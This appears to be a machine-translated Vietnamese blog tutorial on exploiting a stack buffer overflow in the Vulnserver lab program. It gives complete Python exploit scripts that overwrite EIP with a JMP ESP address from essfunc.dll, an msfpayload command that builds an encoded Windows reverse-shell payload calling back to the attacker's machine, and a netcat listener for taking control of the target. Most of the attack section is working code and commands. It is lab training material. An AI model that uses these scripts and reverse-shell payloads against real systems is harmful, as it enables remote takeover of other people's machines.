Có hai mô-đun có “Sai” trong cả hai cột Rebase và ASLR: essfunc.dll và vulnserver.exe.

Tuy nhiên, hãy lưu ý các giá trị địa chỉ ở bên trái của biểu đồ – vulnserver.exe được tải ở các giá trị địa chỉ rất thấp, bắt đầu bằng 0x00, vì vậy bất kỳ tham chiếu nào đến các địa chỉ trong vulnserver.exe sẽ yêu cầu byte rỗng và điều đó sẽ không hoạt động bởi vì ‘\ x00’ là một ký tự xấu.

Vì vậy, mô-đun có thể sử dụng duy nhất là essfunc.dll.

Tìm mã Hex để có hướng dẫn hữu ích

Kali Linux chứa một tiện ích hữu ích để chuyển đổi ngôn ngữ hợp ngữ sang mã hex.

Trong Kali Linux, trong cửa sổ Terminal, hãy thực hiện lệnh này:locate nasm_shellTiện ích này nằm trong thư mục metasploit-framework, như được hiển thị bên dưới.

Sao chép và dán vào đường dẫn tiện ích hoàn chỉnh để thực thi nó.

Khi nasm bắt đầu, hãy nhập JMP ESP và nhấn Enter để chuyển nó thành mã thập lục phân, như được hiển thị bên dưới.

Sau đó nhập POP ESP và nhấn Enter.

Sau đó nhập RET và nhấn Enter.

Sau đó nhập EXIT và nhấn Enter.

Mã thập lục phân cho lệnh “JMP ESP” là FFE4.

Mã thập lục phân cho chuỗi hai lệnh “POP ESP; RET” là 5CC3.

Nếu chúng ta có thể tìm thấy một trong các chuỗi byte đó trong essfunc.dll, chúng ta có thể sử dụng chúng để chạy khai thác của mình.

Tìm JMP ESP với MONA

Trong Miễn dịch, ở dưới cùng, thực hiện lệnh này trong thanh màu trắng.

!mona find -s "\xff\xe4" -m essfunc.dll

Thao tác này tìm kiếm mô-đun essfunc.dll cho các byte FFE4.

9 vị trí đã được tìm thấy với những nội dung đó, như hình dưới đây.

Chúng tôi sẽ sử dụng vị trí đầu tiên:

625011af

Khởi động máy chủ dễ bị tổn thương trong tình trạng miễn dịch

Trong Immunity, bạn đang nhìn vào “Cửa sổ nhật ký”, với dòng chữ Mona màu xanh lá cây được tạo. Đóng cửa sổ đó lại.

Bây giờ bạn sẽ thấy chế độ xem bình thường, đó là “cửa sổ CPU”, như hình dưới đây.

Nhấp vào nút ” Chạy “. Trạng thái ở phía dưới bên phải có nội dung “Đang chạy”, như được hiển thị bên dưới.

Kiểm tra thực thi mã

Bây giờ chúng ta sẽ gửi một cuộc tấn công đưa địa chỉ JMP ESP (625011af) vào EIP.

Điều đó sẽ bắt đầu thực thi mã tại vị trí mà ESP trỏ đến.

Để kiểm tra nó, chúng tôi sẽ đặt một số lệnh NOP ở đó (‘\ x90’ = No Operation – chúng không làm gì cả) theo sau là một lệnh ‘\ xCC’ INT 3, lệnh này sẽ làm gián đoạn quá trình xử lý.

Xe trượt NOP có vẻ không quan trọng, nhưng cần có chỗ để giải nén mã khai thác đóng gói Matasploit mà chúng ta sẽ thực hiện sau.

Nếu điều này hoạt động, chương trình sẽ dừng lại ở lệnh ‘\ xCC’.

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:nano vs-eip3 Trong cửa sổ nano, hãy nhập hoặc dán mã này.

Thay thế địa chỉ IP bằng địa chỉ IP của máy Windows 7 của bạn.#!/usr/bin/python import socket server = '192.168.119.129' sport = 9999 prefix = 'A' * 2006 eip = '\xaf\x11\x50\x62' nopsled = '\x90' * 16 brk = '\xcc' padding = 'F' * (3000 - 2006 - 4 - 16 - 1) attack = prefix + eip + nopsled + brk + padding s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((server, sport)) print s.recv(1024) print "Sending attack to TRUN . with length ", len(attack) s.send(('TRUN .' + attack + '\r\n')) print s.recv(1024) s.send('EXIT\r\n') print s.recv(1024) s.close()

Để lưu mã, hãy nhập Ctrl + X , sau đó thả các phím và nhấn Y , nhả lại các phím và nhấn Enter .

Tiếp theo, bạn cần làm cho chương trình có thể thực thi được. Để làm điều đó, trong Kali Linux, trong cửa sổ Terminal, hãy thực hiện lệnh này:chmod a+x vs-eip3 Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:./vs-eip3 Góc dưới bên trái của cửa sổ Miễn nhiễm hiện có nội dung “Lệnh INT 3”, như hình dưới đây.

Trong ngăn phía trên bên phải của Immunity, nhấp chuột trái vào giá trị ở bên phải của ESP, vì vậy nó được đánh dấu bằng màu xanh lam.

Sau đó, nhấp chuột phải vào giá trị được đánh dấu và nhấp vào ” Theo dõi trong Dump “.

Khung phía dưới bên trái hiển thị NOP sled dưới dạng một chuỗi 90 byte, theo sau là byte CC.

Điều này đang hoạt động! Chúng tôi có thể chèn mã và thực thi nó.

Khởi động lại máy chủ dễ bị tổn thương mà không có miễn dịch

Miễn dịch đóng.

Bấm đúp vào máy chủ lưu trữ để khởi động lại nó.

Đừng bận tâm đến việc sử dụng trình gỡ lỗi ngay bây giờ – nếu mọi thứ đang hoạt động, việc khai thác sẽ hoạt động trên máy chủ thực.

Chuẩn bị mã tấn công Python

Chương trình này thiết lập khai thác, nhưng tại thời điểm này mã khai thác bị thiếu.

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:nano vs-shell Trong cửa sổ nano, hãy nhập hoặc dán mã này.

Thay thế địa chỉ IP bằng địa chỉ IP của máy Windows 7 của bạn.#!/usr/bin/python import socket server = '192.168.119.129' sport = 9999 prefix = 'A' * 2006 eip = '\xaf\x11\x50\x62' nopsled = '\x90' * 16 exploit = ( ) padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit)) attack = prefix + eip + nopsled + exploit + padding s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((server, sport)) print s.recv(1024) print "Sending attack to TRUN . with length ", len(attack) s.send(('TRUN .' + attack + '\r\n')) print s.recv(1024) s.send('EXIT\r\n') print s.recv(1024) s.close()

Để lưu mã, hãy nhập Ctrl + X , sau đó thả các phím và nhấn Y , nhả lại các phím và nhấn Enter .

Tạo mã khai thác

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này.ifconfigTìm địa chỉ IP của máy Kali của bạn và ghi lại địa chỉ đó.

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh bên dưới.

Thay thế địa chỉ IP bằng địa chỉ IP của máy Kali Linux của bạn.msfpayload windows/shell_reverse_tcp LHOST="192.168.119.129" LPORT=443 EXITFUNC=thread R | msfencode -b '\x00' -e x86/shikata_ga_naiLệnh này thực hiện một khai thác sẽ kết nối từ mục tiêu Windows trở lại kẻ tấn công Kali Linux trên cổng 443 và thực hiện các lệnh từ Kali.

Khai thác được mã hóa để tránh byte rỗng. bởi vì ‘\ x00’ là một ký tự xấu.

Sử dụng chuột để đánh dấu mã khai thác, như hình dưới đây. Nhấp chuột phải vào mã được đánh dấu và nhấp vào Sao chép .

Chèn mã khai thác vào Python

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:nano vs-shell Sử dụng phím mũi tên xuống để di chuyển con trỏ vào dòng trống bên dưới dòng này:exploit = ( Nhấp chuột phải và nhấp vào Dán , như được hiển thị bên dưới.

Mã khai thác xuất hiện trong tệp, như được hiển thị bên dưới.

Để lưu mã, hãy nhập Ctrl + X , sau đó thả các phím và nhấn Y , nhả lại các phím và nhấn Enter .

Tiếp theo, bạn cần làm cho chương trình có thể thực thi được. Để làm điều đó, trong Kali Linux, trong cửa sổ Terminal, hãy thực hiện lệnh này:chmod a+x vs-shell

Bắt đầu một trình nghe

Trên máy Kali Linux của bạn, hãy mở một cửa sổ Terminal mới và thực hiện lệnh này:nc -nlvp 443 Điều này bắt đầu một trình lắng nghe trên cổng 443, để kiểm soát mục tiêu Windows.

Chạy Khai thác

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:./vs-shell Trong Kali Linux, cửa sổ Terminal khác hiển thị lời nhắc Windows, như được hiển thị bên dưới. Bây giờ bạn kiểm soát máy tính Windows!

Nguồn

Gỡ lỗi các nguyên tắc cơ bản để phát triển khai thác

Hướng dẫn tràn bộ đệm dựa trên ngăn xếp, phần 1 – Giới thiệu

Giới thiệu Vulnserver

Các lớp nghiệp vụ được chứng nhận về bảo mật tấn công

MinHook – Thư viện Hooking API x86 / x64 tối giản (Ví dụ về JMP tốt)

Msfpayload

Bài Sưu Tầm


Trả lời

Bạn cần phải đăng nhập để gửi bình luận:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s

%d người thích bài này: